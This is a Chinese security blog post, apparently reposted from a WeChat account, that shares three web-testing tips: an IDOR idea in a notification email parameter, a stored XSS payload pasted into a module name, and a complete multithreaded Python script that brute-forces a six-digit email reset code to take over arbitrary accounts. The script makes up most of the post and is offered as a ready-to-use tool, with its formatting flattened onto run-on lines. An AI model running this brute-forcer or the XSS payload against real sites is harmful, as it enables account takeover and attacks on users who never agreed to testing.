安全娱乐圈之攻防技术交流系列文章 第2弹

admin 2021年4月16日08:08:08评论49 views字数 3410阅读11分22秒阅读模式


安全娱乐圈之攻防技术交流系列文章 第2弹


 1  IDOR思路


对某APP的内置功能进行测试时,在通知中心模块,如果电子邮件收件人参数权限校验不严格,就有可能存在IDOR,这个功能点,后续各位师傅可以尝试下。


https://xxx.xxx.xxx/notification?xxxemails=IDOR


2  存储型XSS思路


在一次测试中,随便添加一个新的container,在模块名称处粘贴如下payload,保存配置,当再次访问该模块设置参数时,触发弹窗。


"><div onmouseover="alert('XSS');">


3  任意用户密码重置思路


在一个测试项目中,当尝试重置密码操作时,发现邮箱的验证码为6位纯数字,并且对提交次数没有进行限制,因此可以对验证码进行遍历爆破,最终实现重置任意用户的密码。

#!/usr/bin/python3.7# encoding: utf-8
import itertoolsimport threadingfrom optparse import OptionParserimport requeststry: from itertools import imapexcept ImportError: imap=maptry: import queueexcept ImportError: import Queue as queue

threads = []
class pixiv(object): def __init__(self, tt, code_id, code,session,mode="single",prefix = ""): self.tt = tt self.code_id = code_id self.code = code self.quest_queue = queue.Queue() self.password = '668220668220a' self.prefix = prefix self.mode = mode self.threadLock = threading.Lock() self.headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID='+session} self.success = False
def run(self): while True: self.threadLock.acquire() if not self.quest_queue.empty() or self.success == False: code = self.quest_queue.get() self.threadLock.release() self.reset(code) else: self.threadLock.release() break
def generate(self): if 'single' in self.mode: repeat = 5 else: repeat = 6
for s in imap(''.join, itertools.product('0123456789', repeat=repeat)): self.quest_queue.put(self.prefix + s)
def reset(self,authentication_code):        url = "https://xxx.xxx.xxx/reset_pass.php?code_id=%s&code=%s" % (self.code_id,self.code) end = '&mode=reset&&new_password_1='+self.password+'&new_password_2='+self.password+'&submit=1' data = 'tt='+self.tt+'&authentication_code=' +authentication_code + end try: if self.success==False: res = requests.post(url, data, headers=self.headers, allow_redirects=False) if (res.status_code == 302 ): if 'reset_pass.php?success=1' in res.headers['Location']: print('nn[*]code:' + authentication_code) print('[*]pass:' + self.password) self.threadLock.acquire() self.success = True self.threadLock.release() else: print('[*]code:' + authentication_code ) else: print("[*]error") self.threadLock.acquire() self.success = True self.threadLock.release()
except Exception as e: print(e)

def start(tt,prefix,session,code_id,code): try: p = pixiv(prefix=prefix, session=session, tt=tt, code_id=code_id, code=code) p.generate()
for x in range(300): t = threading.Thread(target=p.run) threads.append(t) t.setDaemon(True) t.start()
while True: alive = False for td in threads: alive = td.isAlive() if not alive: break
except Exception as e: print(e) quit()
if __name__ == '__main__': try: optParser = OptionParser() optParser.add_option('-t', '--tt', dest='tt', type=str, default=None, help='tt token') optParser.add_option('-i', '--id', dest='code_id', type=str, default=None, help='code_id') optParser.add_option('-c', '--code', dest='code', type=str, default=None, help='code') optParser.add_option('-s', '--session', dest='session', type=str, default=None, help='phpsession') optParser.add_option('-p', '--prefix', dest='prefix', type=str, default=None, help='prefix')
options, args = optParser.parse_args() if options.tt is not None: start(tt=options.tt, code_id=options.code_id, code=options.code, session=options.session, prefix=options.prefix) else: optParser.print_help() except Exception as e: print(e)


星光不问赶路人,岁月不负有心人!

安全娱乐圈之攻防技术交流系列文章 第2弹

    加油,网安人!


“攻防技术交流”这一个系列的文章

主要记录日常实战与学习交流的

攻防思路与心得体会

如果你有新奇的攻防idea

非常欢迎与小伙伴们一起分享交流

VX群暗号

后台回复“ 技术交流 ”获取

入群须知:

纯技术交流群禁止灌水

长期潜水不分享交流的会进行清理

希望大家予以理解


安全娱乐圈之攻防技术交流系列文章 第2弹

● 安全娱乐圈之攻防技术交流系列文章 第1弹

● CTF笔记-reverse第2弹-带你走近逆向世界之逆向初探

● CTF笔记-Web第1弹-看我如何用多种姿势搞定一个SQL注入点


本文始发于微信公众号(西子实验室):安全娱乐圈之攻防技术交流系列文章 第2弹

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月16日08:08:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全娱乐圈之攻防技术交流系列文章 第2弹https://cn-sec.com/archives/334558.html

发表评论

匿名网友 填写信息